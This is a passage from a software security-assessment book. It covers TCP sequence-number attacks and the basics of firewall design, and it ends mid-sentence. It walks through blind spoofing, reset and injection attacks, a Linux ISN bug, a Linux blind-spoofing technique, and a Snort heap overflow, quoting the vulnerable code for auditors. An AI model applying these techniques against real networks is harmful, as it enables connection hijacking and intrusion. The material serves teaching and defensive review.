machine. First, you would spoof a SYN packet from server A to server B. You can pick a sequence number out of thin air as your initial sequence number (see Figure 14-17). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 885 Figure 14-17. Transmit 1 Server B is going to respond to server A with a SYN-ACK containing a randomly chosen initial sequence number represented by BBBB in Figure 14-18. Figure 14-18. Receive 1 To complete the three-way handshake and initialize the connection, you need to spoof a third acknowledgement packet (see Figure 14-19). Figure 14-19. Transmit 2 The first major obstacle is that you need to see the SYN-ACK packet going from server B to server A to observe the sequence number server B chose. Without that sequence number, you can't acknowledge the SYN-ACK packet and complete the three-way handshake. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 886 Naturally, if you're on the same network so that you can sniff server B's packets, you won't have any problems learning the correct sequence number. If you aren't on the same network, and you can't hack the routing infrastructure to see the packet, you need to guess! This method is called blind connection spoofing (described in the next section). The second obstacle to this attack is that the SYN-ACK packet can potentially reach server A, and server A isn't expecting it. Server A likely generates a RST in response to the SYN-ACK, which messes up your spoofed connection. There are a few ways to work around this problem, so consider it a nonissue for the purposes of this discussion. Blind Connection Spoofing If attackers can't see the SYN-ACK packet the victim server generates, they have to guess the initial sequence number the victim server chose. Historically, guessing was quite simple, as many operating systems used simple incremental algorithms to choose their ISNs. A common practice was to keep a global ISN variable and increment it by a fixed value with every new connection. To exploit this practice, attackers could connect to the victim server and observe its choice of ISN. With some simple math, they could calculate the next ISN to be used, perform the spoofing attack, and know the correct acknowledgement number to spoof. Most operating systems moved to randomly generated ISNs to mitigate the threat of blind TCP spoofing. The security of much of TCP depends on the unpredictability of the ISN, so it's important that their ISN generation code really does produce random sequence numbers. Straightforward linear congruent pseudo-random number generators (PRNGs) doesn't cut it, as an attacker can sample several ISNs to reverse the internal state of the random number algorithm. Back in 2000, Pascal Bouchareine of the Hacker Emergency Response Team (HERT) published an advisory about FreeBSD's ISN generation, which used the kernel random() function: a linear congruent PRNG. After sampling four ISNs, an attacker can reconstruct the PRNGs internal state and generate the same sequence numbers as the target host. An Attack on Randomness There have been a couple of interesting discoveries related to the randomness of TCP sequence-numbering algorithms. Of particular note is a research paper made available by Michael Zalewski at www.bindview.com/Support/RAZOR/Papers/2001/tcpseq.cfm, which The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 887 discusses the relative strengths of random number algorithms some contemporary operating systems use. Although the versions tested are somewhat dated, the paper gives you a good idea how operating systems measure up against each other. (Additionally, even though some versions aren't so current, a lot of the ISN algorithms probably haven't changed a great deal.) The paper goes on to discuss PRNG strengths in other network components (such as DNS IDs and session cookies). ISN Vulnerability Stealth and S. Krahmer, members of a hacker group named TESO discovered a subtle blind spoofing bug in the Linux kernel, in the 2.2 branch of code. The following code was used to generate a random ISN: __u32 secure_tcp_sequence_number(__u32 saddr, __u32 daddr, __u16 sport, __u16 dport) { static __u32 rekey_time = 0; static __u32 count = 0; static __u32 secret[12]; struct timeval tv; __u32 seq; /* * Pick a random secret every REKEY_INTERVAL seconds. */ do_gettimeofday(&tv); /* We need the usecs below... */ if (!rekey_time || (tv.tv_sec - rekey_time) > REKEY_INTERVAL) { rekey_time = tv.tv_sec; /* First three words are overwritten below. */ get_random_bytes(&secret+3, sizeof(secret)-12); count = (tv.tv_sec/REKEY_INTERVAL) << HASH_BITS; } secret[0]=saddr; secret[1]=daddr; secret[2]=(sport << 16) + dport; seq = (halfMD4Transform(secret+8, secret) & ((1<<HASH_BITS)-1)) + count; seq += tv.tv_usec + tv.tv_sec*1000000; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 888 return seq; } In the call to get_random_bytes(), the intent is to write random data over the last nine bytes of the secret array. However, the code actually writes the data at the wrong place in the stack, and the majority of the secret key is left always containing the value zero! This happens because the expression &secret is a pointer to an array with 12 elements. From the discussion on pointer arithmetic in Chapter 6(? [????.]), remember that an integer added to a pointer type is multiplied by the size of the base data type, so &secret+3 is the address 36 elements past the start of secret. The author intended to use &secret[3], which correctly indexes the third element in the secret array. The impact of this oversight was that the sequence numbers were very close to each other if the source IP address was the only variable, allowing the TESO researchers to craft an ISN-guessing attack. Auditing Tip Examine the TCP sequence number algorithm to see how unpredictable it is. Make sure some sort of cryptographic random number generator is used. Try to determine whether any part of the key space can be guessed deductively, which limits the range of possible correct sequence numbers. Random numbers based on system state (such as system time) might not be secure, as this information could be procured from a remote source in a number of ways. Connection Tampering If attackers want to spoof TCP packets to manipulate existing connections, they need to provide a sequence number that's within the currently accepted window. If attackers are located on the network and can sniff packets belonging to the connection they are trying to manipulate, finding this number is obviously quite simple. From this position, attackers can easily inject data or tear down a connection. In more subtle attacks, they could hijack and resynchronize an existing TCP connection. However, if attackers can't see the packets belonging to the target connection, finding the sequence number is again more difficult. They need to guess a sequence number that's within the currently accepted window to have their spoofed TCP packets honored. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 889 Blind Reset Attacks In certain situations, attackers might want to remotely terminate a connection between two hosts on outside networks. Certain protocols and applications can fall into behavior that's not secure or could be exploited if their TCP connections are torn out from under them. For example, there have been attacks against Internet Relay Chat (IRC) based on temporarily severing links between distributed servers to steal privileges to chat channels. Kids' games aside, a researcher named Paul Watson published an attack with a bit more gravity. The bullet point of his presentation was that resetting Border Gateway Protocol (BGP) TCP connections maliciously can lead to considerable disruption of routing between ISPs (archives of the presentation are available at www.packetstormsecurity.org/papers/protocols/SlippingInTheWindow_v1.0.doc). Attackers attempting to spoof a RST packet have a few things working in their favor. First, the RST packet just needs to be in the current window to be honored, which reduces the search for sequence numbers. Second, the RST packet is processed immediately if it's anywhere within the window, which removes any potential issues with stream reassembly or having to wait for a sequence number to be reached. Attackers need to know the source IP, source port, destination IP, destination port, a sequence number within the windowand that's about it. If the connection used a window size of 16KB, an attacker needs to send about 262,143 packets. Paul Watson was able to terminate connections by brute-forcing the sequence number at T1 speeds in roughly 10 seconds. It's worth noting that many old operating systems, especially older UNIX systems, don't even check that the sequence number in the RST packet is within the window, making reset attacks extremely easy. In addition, the reset-inducing packet can be a SYN instead of a RST, as a SYN in the window causes an existing connection to be reset. Blind Data Injection Attacks A blind data injection attack is a slight superset of the blind reset attack. The attacker needs to provide an acknowledgement number as well as a sequence number. However, the verification of acknowledgement numbers is lax enough that only two guesses are usually needed for each sequence number trial. The full details of this attack and the blind reset attacks are outlined in the excellent draft IETF document Improving TCP's Robustness to Blind In-Window Attacks by R. Stewart and M. Dalal (www.ietf.org/internet-drafts/draft-ietf-tcpm-tcpsecure-05.txt). TCP Segment Fragmentation Spoofing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 890 Michael Zalewski pointed out an interesting potential blind spoofing attack in a post to the full-disclosure mailing list (archived at archives.neohapsis.com/archives/fulldisclosure/2003-q4/3488.html). If attackers know that a TCP segment is fragmented as it traverses from one endpoint to another, they can spoof an IP fragment for the data section of the packet. This spoofing allows them to inject data into the TCP connection without having to guess a valid sequence number. Attackers need to come up with a mechanism to fix the TCP checksum, but that should prove well within the realm of possibility. TCP Processing So far, you've examined a few security issues in TCP code. The following sections describe some interesting corner cases and nuances in TCP processing to give you ideas where to look for potential vulnerabilities. TCP State Processing TCP stacks implement a complicated state machine that's highly malleable by outside actors. Studying this code can reveal subtle behaviors that might be useful to attackers. For example, operating systems have different reactions to unusual combinations of TCP flags. These reactions can lead to security-critical behaviors, which you examine in Chapter 15(? [????.])'s discussion of firewalls and SYN-FIN packets. You can also find many corner cases in TCP processing. For example, some operating systems allow data in the initial SYN packet, and some allow data segments without the ACK flag set. The following section has an example of a vulnerability that shows the kind of creativity you should apply to your inspection of TCP code. Linux Blind Spoofing Vulnerability Noted researcher, Anthony Osborne, discovered a subtle and fascinating bug in the Linux TCP stack related to connection state tracking (documented at www.ciac.org/ciac/bulletins/j-035.shtml). There were actually three vulnerabilities that he was able to weave into an attack for blindly spoofing TCP traffic from an arbitrary source. To follow this vulnerability, take a look at a simplified version of the tcp_rcv() function in the Linux kernel. int tcp_rcv() { ... if(sk->state!=TCP_ESTABLISHED) { if(sk->state==TCP_LISTEN) { seq = secure_tcp_sequence_number(saddr, daddr, skb->h.th->dest, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 891 skb->h.th->source); tcp_conn_request(sk, skb, daddr, saddr, opt, dev, seq); return 0; } ... /* various other processing */ } /* * We are now in normal data flow (see the step list * in the RFC) Note most of these are inline now. * I'll inline the lot when I have time to test it * hard and look at what gcc outputs */ if (!tcp_sequence(sk, skb->seq, skb->end_seq-th->syn)) die(); /* bad tcp sequence number */ if(th->rst) return tcp_reset(sk,skb); if(th->ack && !tcp_ack(sk,th,skb->ack_seq,len)) die(); /* bad tcp acknowledgement number */ /* Process the encapsulated data */ if(tcp_data(skb,sk, saddr, len)) kfree_skb(skb, FREE_READ); } If the incoming packet is associated with a socket that isn't in TCP_ESTABLISHED, it performs a variety of processing related to connection initiation and teardown. What's important to note is that after this processing is performed, the code can fall through to the normal data-processing code in certain situations. This is usually innocuous, as control packets such as SYN and RST don't contain data. Looking at the preceding code, you can see that any data in the initial SYN packet isn't processed, as the server is in the TCP_LISTEN state, and it returns out of the receive function. However, after the SYN is received and the server is in the SYN_RCVD state, the code falls through and data is processed on incoming packets. So data in packets sent after the initial SYN but before the three-way handshake is completed is actually queued to be delivered to the userland application. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 892 The attack Osborne conceived was to spoof packets from a trusted peer and provide data before completion of the three-way handshake. Attackers would first send a normal SYN packet, spoofed from a trusted peer (see Figure 14-20). Figure 14-20. Transmit 1 Upon receipt of the SYN packet, the server enters the SYN_RCVD state and sends the SYN-ACK packet to the purported source of the SYN. Attackers can't see this packet, but as long as they act quickly enough, their attack isn't hindered. At this point, they know which sequence numbers are valid in the window for data destined for the victim host, but they don't know what the acknowledgement sequence number should be because they didn't see the SYN-ACK packet. However, look closely at the previous code from tcp_rcv(). The second nuance that Osborne leveraged is that if the ACK flag isn't set in the TCP packet, the Linux TCP stack doesn't check the acknowledgement sequence number for validity before queuing the data! So attackers simply send some data in a packet with a valid sequence number but with no TCP flags set (see Figure 14-21). Figure 14-21. Transmit 2 Now attackers have data queued in the victim machine's kernel, ready to be delivered to the userland rlogind process as soon as the three-way handshake is completed. Normally, this handshake can't be completed without knowing or guessing the correct acknowledgement number, but Osborne discovered a third vulnerability that lets The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 893 attackers deliver the death blow. Usually, the userland process doesn't return from the call to accept() unless the handshake is completed. The following code shows the logic for this in tcp.c: static struct sk_buff *tcp_find_established(struct sock *s) { struct sk_buff *p=skb_peek(&s->receive_queue); if(p==NULL) return NULL; do { if(p->sk->state == TCP_ESTABLISHED || p->sk->state >= TCP_FIN_WAIT1) return p; p=p->next; } while(p!=(struct sk_buff *)&s->receive_queue); return NULL; } Note that the kernel treats states greater than or equal to TCP_FIN_WAIT1 as being equivalent to ESTABLISHED. The following code handles packets with the FIN bit set: static int tcp_fin(struct sk_buff *skb, struct sock *sk, struct tcphdr *th) { ... switch(sk->state) { case TCP_SYN_RECV: case TCP_SYN_SENT: case TCP_ESTABLISHED: /* * move to CLOSE_WAIT, tcp_data() already handled * sending the ack. */ tcp_set_state(sk,TCP_CLOSE_WAIT); if (th->rst) sk->shutdown = SHUTDOWN_MASK; break; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 894 CLOSE_WAIT is greater than TCP_FIN_WAIT, which means that if attackers simply send a FIN packet, it moves the connection to the CLOSE_WAIT state, and the userland application's call to accept() returns successfully. The application then has data available to read on its socket: the data the attackers spoofed! In summary, the attack involves the three packets shown in Figure 14-22. Figure 14-22. Blind spoofing attack Sequence Number Representation Sequence numbers are 32-bit unsigned integers that have a value between 0 and 2^32-1. Note that sequence numbers wrap around at 0, and special care must be taken to make this wrapping work flawlessly. For example, say you have a TCP window starting at 0xfffffff0 with a size of 0x1000. This means data with sequence numbers between 0xfffffff0 and 0xffffffff is within the window, as is data with sequence numbers between 0x0 and 0xff0. This flexibility is provided by the following macros: #define SEQ_LT(a,b) ((int)((a)-(b)) < 0) #define SEQ_LEQ(a,b) ((int)((a)-(b)) <= 0) #define SEQ_GT(a,b) ((int)((a)-(b)) > 0) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 895 #define SEQ_GEQ(a,b) ((int)((a)-(b)) >= 0) It's worth taking a moment to study how these macros work around corner cases. Basically, they measure the absolute value distance between two sequence numbers. In general, if you see code operate on sequence numbers without using a similar type of macro, you should be suspicious. The next section describes an example. Snort Reassembly Vulnerability Bruce Leidl, Juan Pablo Martinez Kuhn, and Alejandro David Weil from CORE Security Technologies published a remotely exploitable heap overflow in Snort's TCP stream reassembly that resulted from improper handling of sequence numbers (www.coresecurity.com/common/showdoc.php?idxseccion=). To understand this code, you need a little background on relevant structures used by Snort to represent TCP connections and incoming TCP packets. The incoming TCP segment is represented in a StreamPacketData structure, which has the following prototype: typedef struct _StreamPacketData { ubi_trNode Node; u_int8_t *pkt; u_int8_t *payload; SnortPktHeader pkth; u_int32_t seq_num; u_int16_t payload_size; u_int16_t pkt_size; u_int32_t cksum; u_int8_t chuck; /* mark the spd for chucking if it's * been reassembled */ } StreamPacketData; The fields relevant for this attack are the sequence number, stored in the seq_num member, and the size of the segment, stored in payload_size. The Snort stream reassembly preprocessor has another structure to represent state information about a current stream: typedef struct _Stream { ... members cut out for brevity ... u_int32_t current_seq; /* current sequence number */ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 896 u_int32_t base_seq; /* base seq num for this packet set */ u_int32_t last_ack; /* last segment ack'd */ u_int16_t win_size; /* window size */ u_int32_t next_seq; /* next sequence we expect to see used on reassemble */ ... more members here ... } Stream; The Stream structure has (among other things) a base_seq member to indicate the starting sequence number of the part of the TCP stream that is being analyzed, and a last_ack member to indicate the last acknowledgement number that the peer was seen to respond with. Now, for the vulnerability. The following code is used to copy data from a TCP packet that has been acknowledged by the peer. All variables are of the unsigned int type, with the exception of offset, which is an int. Incoming packets are represented by a StreamPacketData structure (pointed to by spd), and are associated with a Stream structure (pointed to by s). Coming into this code, the packet contents are being copied into a 64K reassembly buffer depending on certain conditions being true. Note that before this code is executed, the reassembly buffer is guaranteed to be at least as big as the block of data that needs to be analyzed, which is defined to be the size (s->last_ack s->base_seq). The following code has checks in place to make sure the incoming packet is within the reassembly windowthe sequence number must be in between s->base_seq and s->last_ack: /* don't reassemble if we're before the start sequence * number or after the last ack'd byte */ if(spd->seq_num < s->base_seq || spd->seq_num > s->last_ack) { DEBUG_WRAP(DebugMessage(DEBUG_STREAM, "not reassembling because" " we're (%u) before isn(%u) " " or after last_ack(%u)\n", spd->seq_num, s->base_seq, s->last_ack);); return; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 897 Next, a check is again performed to ensure the sequence number is past base_seq. It also makes sure the sequence number is greater than or equal to the next expected sequence number in the stream. One final check is done to verify that the sequence number plus the payload size is less than the last acknowledged sequence number. /* if it's in bounds... */ if(spd->seq_num >= s->base_seq && spd->seq_num >= s->next_seq && (spd->seq_num+spd->payload_size) <= s->last_ack) { If all these checks pass, the data portion of the packet being inspected is added to the reassembly buffer for later analysis: offset = spd->seq_num - s->base_seq; s->next_seq = spd->seq_num + spd->payload_size; memcpy(buf+offset, spd->payload, spd->payload_size); The vulnerability in this code results from the authors using unsigned ints to hold the sequence numbers. The attack CORE outlined in its advisory consisted of a sequence of packets that caused the code to run with the following values: s->base_seq = 0xffff0023 s->next_seq = 0xffff0024 s->last_ack = 0xffffffff spd->seq_num 0xffffffff spd->payload_size 0xf00 If you trace the code with these values, you can see that the following check is compromised: (spd->seq_num+spd->payload_size) <= s->last_ack) The seq_num is an unsigned int with the value 0xffffffff, and spd->payload_size is an unsigned int with the value 0xf00. Adding the two results in a value of 0xeff, which is considerably lower than last_ack's value of 0xffffffff. Therefore, memcpy() ends up copying data past the end of the reassembly buffer so that an attacker can remotely exploit the process. Sequence Number Boundary Condition The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 898 A nuance of sequence number signed comparisons is worth pointing out. Assume you use the following macro to compare two sequence numbers: #define SEQ_LT(a,b) ((int)((a)-(b)) < 0) Use of a macro such as this has some interesting behavior when dealing with cases near to integer boundary conditions, such as the sequence numbers 0 and 0x7fffffff. In this case, SEQ_LT(0, 0x7fffffff) evaluates to (0-0x7fffffff), or 0x80000001. This is less than 0, so the result you find is that the sequence number 0 is less than 0x7fffffff. Now compare the sequence numbers 0 and 0x80000000. SEQ_LT(0,0x80000000) evaluates to (0-0x80000000), or 0x80000000. This is less than 0, so the result you find is that sequence number 0 is less than 0x80000000. Now compare 0 and 0x80000001. SEQ_LT(0,0x80000001) evaluates to (0-0x80000001), or 7fffffff. This is greater than 0, so you find that the sequence number 0 is greater than the sequence number 0x80000001. Basically, if two sequence numbers are 2GB away from each other, they lie on the boundary that tells the arithmetic which sequence number comes first in the stream. Keep this boundary in mind when auditing code that handles sequence numbers, as it may create the opportunity for TCP streams to be incorrectly evaluated. Window Scale Option The window scale TCP option allows a peer to specify a shift value to apply to the window size. This option can allow for very large TCP windows. The maximum window size is 0xFFFF, and the maximum window scale value is 14, which results in a possible window size of 0x3FFFC000, or roughly 1GB. As mentioned, the sequence number comparison boundary is located at the 2GB point of inflection. The maximum window scale value of 14 is carefully chosen to prevent windows from growing large enough that it's possible to cross the boundary when doing normal processing of data within the window. The bottom line is that if you encounter an implementation that honors a window scale of 15 or higher, chances are quite good the reassembly code can be exploited in the TCP stack. URG Pointer Processing TCP provides a mechanism to send some out-of-band (OOB) data at any point during a data exchange. ("Out of band" means ancillary data that isn't part of the regular data stream.) The idea is that an application can use this mechanism to signal some kind of exception with accompanying data the peer can receive and handle The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 899 immediately without having to dig through the data stream and generally interrupt the traffic flow. RFC 793 (www.ietf.org/rfc/rfc0793.txt?number=) is quoted here: The objective of the TCP urgent mechanism is to allow the sending user to stimulate the receiving user to accept some urgent data and to permit the receiving TCP to indicate to the receiving user when all the currently known urgent data has been received by the user. The TCP header has a 16-bit urgent pointer, which is ignored unless the URG flag is set. When the flag is set, the urgent pointer is interpreted as a 16-bit offset from the sequence number in the TCP packet into the data stream where the urgent data stops. When auditing urgent pointer processing code, you should consider the potential mistakes covered in the following sections. Handling Pointers into Other Packets The urgent pointer points to an offset in the stream starting from the sequence number indicated in the packet header. It's perfectly legal for the urgent pointer to point to an offset that's not delivered in the packet where the URG flag is set. That is, the urgent pointer offset might hold the value 1,000, but the packet is only 500 bytes long. Code dealing with this situation can encounter two potential problem areas:  Neglecting to check that the pointer is within the bounds of the current packet This behavior can cause a lot of trouble because the code reads out-of-bounds memory and attempts to deliver it to the application using this TCP connection. Worse still, after extracting urgent data from the stream, if the code copies over urgent data with trailing stream data (effectively removing urgent data from the buffer), integer underflow conditions and memory corruption are a likely result.  Recognizing that the pointer is pointing beyond the end of the packet and trying to handle it This behavior is correct but is easy to get wrong. The problem with urgent pointers pointing to future packets is complicated by the fact that subsequent packets arriving could overlap where urgent data exists in the stream or subsequent packets arriving might also have the URG flag set, thus creating a series of urgent bytes within close proximity to each other. Handling 0-Offset Urgent Pointers The urgent pointer points to the first byte in the stream following the urgent data, so at least one byte must exist in the stream before the urgent pointer; otherwise, there would be no urgent data. Therefore, an urgent pointer of 0 is invalid. When reviewing code that deals with urgent pointers, take the time to check whether an urgent pointer of 0 is correctly flagged as an error. Many implementations fail to adequately validate this pointer, and as a result, might save a byte before the beginning of the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 900 urgent pointer or corrupt memory when trying to remove the urgent data from the stream. Simultaneous Open There is a lesser-known way of initiating a TCP connection. In a simultaneous open, both peers send a SYN packet at the same time with mirrored source and destination ports. Then they both send a SYN-ACK packet, and the connection is established. From the perspective of an endpoint, assume you send a SYN from port 12345 to port 4242. Instead of receiving a SYN-ACK packet, you receive a SYN packet from port 4242 to port 12345. Internally, you transfer from state SYN_SENT to SYN_RCVD and send a SYN-ACK packet. The peer sends a SYN-ACK packet to you acknowledging your SYN, at which point you can consider the connection to be established. Keep this initiation process in mind when auditing TCP code, as it's likely to be overlooked or omitted. 8.1.5 Summary IP stacks are complex subsystems that are difficult to understand, let alone find vulnerabilities in. Reviewers need an in-depth understanding of the variety of protocols that make up the TCP/IP protocol suite and should be aware of corner cases in these protocols. This chapter has introduced the major players in packet-handling code for most regular Internet traffic. You have looked at typical problems you'll find in each protocol and seen examples from real-world IP-handling code. 8.2 Chapter 15. Firewalls Chapter 15. Firewalls "Firewalls are barriers between 'us' and 'them' for arbitrary values of 'them'." Steve Bellovin 8.2.1 Introduction If you look hard enough, you can find firewalling technology in some surprising places. Firewalls have been on the market for a long time, and they have evolved to the point that you find them in myriad permutations. Most corporations and large organizations use expensive commercial firewalls that run on dedicated server software or network appliances. You can find firewall code in embedded devices, such as enterprise routers and inexpensive home networking devices. Several free firewalls are included in different operating systems, or you can buy them as part of desktop security suites. The most recent enterprise trend is that firewalls and network intrusion detection The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 901 system (NIDS) technologies are being merged into unified network intrusion prevention system (NIPS) appliances. Note You might be thinking that tons of complex and subtle protocol parsing and modeling code are precisely the kind of things you don't want in a critical core security device. Rest assured that this is merely because you're a victim of the obsolete perimeter-centric vulnerability paradigm. As Obi-Wan Kenobi said, "These are not the droids you are looking for." This chapter focuses on the security review of IP firewall code, whether you encounter it in a Windows desktop application or the code for a Cisco PIX. Luckily, there are only a handful of basic design and implementation security issues every TCP/IP-cognizant firewall must tackle, regardless of its form factor. You can't become a firewall expert in just one chapter, but you can explore the problem domain enough that you'll have a good handle on how to approach a review. You start by examining the basic design and technology behind firewalls, and then focus on specific design and implementation vulnerabilities and problem areas in core networking protocols. Note that this discussion draws heavily on the material on IP, TCP, and UDP in Chapter 14(? [????.]), "Network Protocols." 8.2.2 Overview of Firewalls The basic purpose of a firewall is to serve as a chokepoint between two sets of networked computers. Network administrators can define a firewall security policy that's enforced on all traffic trying to pass through that chokepoint. This security policy is typically composed of a set of rules specifying which traffic is allowed and which traffic is forbidden. For example, a network administrator might have a policy such as the following: 1. Host 1.2.3.4 can talk to 5.5.5.5. 2. The user Jim on the host 1.2.3.10 can talk to 5.5.5.6. 3. Any host can connect to host 5.5.5.4 over TCP port 80. 4. Hosts on the 5.5.5.0/24 network can talk to any host. 5. UDP packets from host 1.2.3.15 source port 53 can go to host 5.5.5.5 port 53. 6. All other traffic is denied. The firewall is responsible for enforcing that policy on traffic traversing it. Firewalls can be built on different core technologies, just as they can be integrated into computer networks in different ways. For example, a firewall can be a chunk of code in an Ethernet card, a chunk of code in a kernel module or a device driver on a desktop The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 902 machine, a device that bridges Ethernet segments on a network, a device that routes between multiple IP subnets, or a multihomed device that connects networks with application proxies. Proxy Versus Packet Filters There are two basic technical approaches to firewall design, although the line between them has blurred over the years. A packet-filtering firewall operates on network data at a fairly low level, similar to how an IP router approaches network data. Each inbound IP packet is taken off the network and processed by the firewall, which uses a variety of algorithms to handle it and determine whether it's valid, invalid, or needs to be set aside for future processing. Packets permitted by the firewall can be routed to another interface or handed off to the IP stack of the firewall machine's OS (see Figure 15-1). Figure 15-1. Packet-filtering data flow [View full size image] A proxy firewall uses the full TCP/IP stack of the firewall machine as part of the processing chain. A TCP connection is actually made from a client to the firewall host, and a user land application program is responsible for accepting that connection, validating it against the security policy, and making an outgoing connection to the end host. This program then sits in a loop and relays data back and forth between the two connections, potentially validating or modifying attributes of that data as it goes (see Figure 15-2). Figure 15-2. Proxy firewall data flow [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 903 Straw Men In the early days of firewalls, packet filtering and proxies were two fundamentally different approaches, and their respective practitioners often engaged in extended debate over which technique was best. Although this distinction is almost a false dichotomy these days, the trade-offs between the two approaches are summarized here. Proxy technology is generally considered more secure because it functions at the application layer as opposed to functioning more like a bridge or router. Proxy technology is singularly well positioned to do analysis, normalization, and intrusion detection on data as it traverses the firewall because it accesses data through a socket-style interface, a normalizing focal point that's easy to work with. Unfortunately, the application proxies available commercially never really capitalized on this architectural advantage by doing any extensive protocol-level analysis. Packet filters were considered less secure architecturally because their lower-level approach is theoretically prone to vulnerabilities stemming from a lack of contextual knowledge about network data. However, packet-filtering technology can scale extremely well and be installed in nonobtrusive ways because of its comparative transparency. Both advantages have been realized over time in the market. If you measure victory in terms of commercial success, packet-filtering firewalls won. However, the distinction between the two has grown more academic because both product lines evolved to meet each other in the middle. The market arguably chose the packet-filtering approach, so proxy-based firewalls haven't had the same resources put into their evolution. Proxy firewalls adopted several features of packet-based firewalls, however. Specifically, proxy firewalls, such as NAI's Gauntlet, can hand a connection over to a packet-filtering-style layer 3 packet-routing mechanism in the kernel. They can also use kernel extensions to make the proxy transparent so that it intercepts connections as they traverse the machine, silently brings them up through the network stack, and proxies them. In a complementary fashion, packet-filtering firewalls have adopted technologies typically associated with proxy-based firewalls. From the outset, many packet-filtering firewalls incorporated application proxies for a few key protocols. Many commercial enterprise firewalls now feature layer 7 inspection, also known as "deep-inspection" or "application intelligence." The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 904 To do this kind of inspection of application layer data, they have to implement enough of a TCP stack in the firewall kernel to be able to have a reasonable picture of the TCP stream's contents. In effect, they are simulating the parts of the host machine kernel that proxy-based firewalls made implicit use of; however, they probably take quite a few shortcuts in doing so (for better or worse). Attack Surface Firewall software has been evolving for more than a decade, and modern firewall systems can be large and complex distributed networked applications. As firewalls often represent the front line of an enterprise perimeter, ascertaining the attack surface of the firewall solution is important. Any code that handles data coming from potentially untrusted sources is worth review, and on a firewall solution, this code can range from normal networked socket-based applications to high-speed kernel-level networking code. A firewall solution for a local host machine might not have a large exposed attack surfaceperhaps just the code that handles network packets and evaluates them against the rule base. An enterprise solution, however, likely exposes services to external users and the outside world, including virtual private network (VPN) protocols, authentication servers, networking and encapsulation protocol services, and internal management interfaces. Some notable vulnerabilities have been found in the straightforward application-layer services that are part of enterprise firewall solutions. For example, the proxy-based firewall Gauntlet suffered from buffer overflows in at least two exposed services. Mark Dowd (one of this book's authors), along with Neel Mehta of the ISS X-Force, discovered multiple preauthentication vulnerabilities in Firewall-1's VPN functionality, and Thomas Lopatic, a world-class researcher, found multiple weaknesses in Firewall-1's intramodule authentication algorithms (www.monkey.org/~dugsong/talks/blackhat.pdf). Chances are quite good that more vulnerabilities are waiting to be discovered in the exposed auxiliary services of commercial firewall solutions. Proxy Firewalls Proxy firewalls tend to be composed of fairly straightforward networking code. You likely already have most of the skills you need to audit proxies, as they are simpler than a corresponding server or client for a protocol. There's a bit of overlap, in that packet-filtering firewalls commonly include proxies for some application protocols, such as FTP. Likewise, many proxy-based firewalls The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 905 include lower-level components that have some of the desirable properties of packet-filtering firewalls, such as transparent bidirectional interception of traffic or fast path routing of approved connections. When auditing proxy firewalls you want to focus on the same kinds of issues you would encounter when auditing network servers. Specifically, numeric issues, buffer overflows, format strings, and similar implementation-level bugs are likely to show up in parsers for complex network protocols. In addition, you should focus on making sure the firewall makes a clear distinction between internal and external users or tracks authorized users. Any mechanism by which an external user can leverage a proxy to reach the internal network is obviously a major risk exposure. Gauntlet was perhaps the best known proxy-based firewall for enterprise customers. It had a few security vulnerabilities in the past, which were straightforward implementation errors in the exposed proxies. One notable issue was a buffer overflow reported in the smapd/CSMAP daemon, discovered by Jim Stickley of Garrison Technologies (archived at www.securityfocus.com/bid/3290). Another buffer overflow was disclosed in Gauntlet in the CyberPatrol add-on software around the same time (archived at www.securityfocus.com/bid/1234). Another example of a proxy firewall vulnerability is an old problem with the Wingate product. This software was a simple system for sharing a network connection among multiple computers on a home LAN. It used to have a TELNET proxy that was exposed to the outside world in the default configuration. Through this proxy, anonymous attackers could use Wingate machines to bounce their TCP connections and obscure their true source IP address. Packet-Filtering Firewalls Stateless Versus Stateful Design There are two basic designs for packet-filtering firewalls. The most straightforward design is a stateless packet filter, which doesn't keep track of the connections and network data it acts on. A stateless firewall looks at each packet in isolation and makes a policy decision based solely on data in that packet. Stateless firewalls can be configured to provide a reasonable level of security, and they are fairly simple to implement. Stateless firewalls are often found in routers and simple home networking devices as well as older software firewalls, such as ipchains. Stateful packet filters, on the other hand, keep track of connections and other information about the network data they process. A stateful firewall typically has one or more data structures known as state tables, in which it records information about the network connections it's monitoring. These firewalls can generally provide a tighter level of security on a network, although they are more complex in design and implementation. You find stateful packet filters in many open-source firewall The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 906 solutions, and they form the basic technology behind many enterprise firewall solutions. 8.2.3 Stateless Firewalls Stateless firewalls, although straightforward in design, have some fundamental problems that surface when you use them on real-world networks. TCP Stateless firewalls don't maintain any state information about TCP connections, so they must use a simple set of rules to filter TCP packets. In general, stateless firewalls look for packets containing connection initiation requestspackets with the SYN flag set. In many cases, they apply network policy rules to those SYN packets and more or less let most other TCP packets go by without blocking them. This method actually works out well enough in many cases, but it can have some major security implications. Consider a sample configuration of a stateless firewall using the older Linux ipchains firewall. Say you want to allow yourself to connect out to anywhere but not allow anyone to connect in to any of your services. The following configuration should do the trick: ipchains -A input -p TCP ! -y -j ACCEPT ipchains -P input DENY The first line tells the firewall to allow all inbound TCP packets that don't have the SYN flag set (indicated by ! -y). The second line tells the firewall to simply drop everything else that's inbound. The code that determines whether the packet passes the -y test is quite simple, and it's based on the contents of the tcpsyn variable. The following code sets the value of tcpsyn based on the packet's TCP header: /* Connection initilisation can only * be made when the syn bit is set and * neither of the ack or reset is * set. */ if(tcp->syn && !(tcp->ack || tcp->rst)) tcpsyn= If the tcpsyn variable is set to 1, the packet passes the 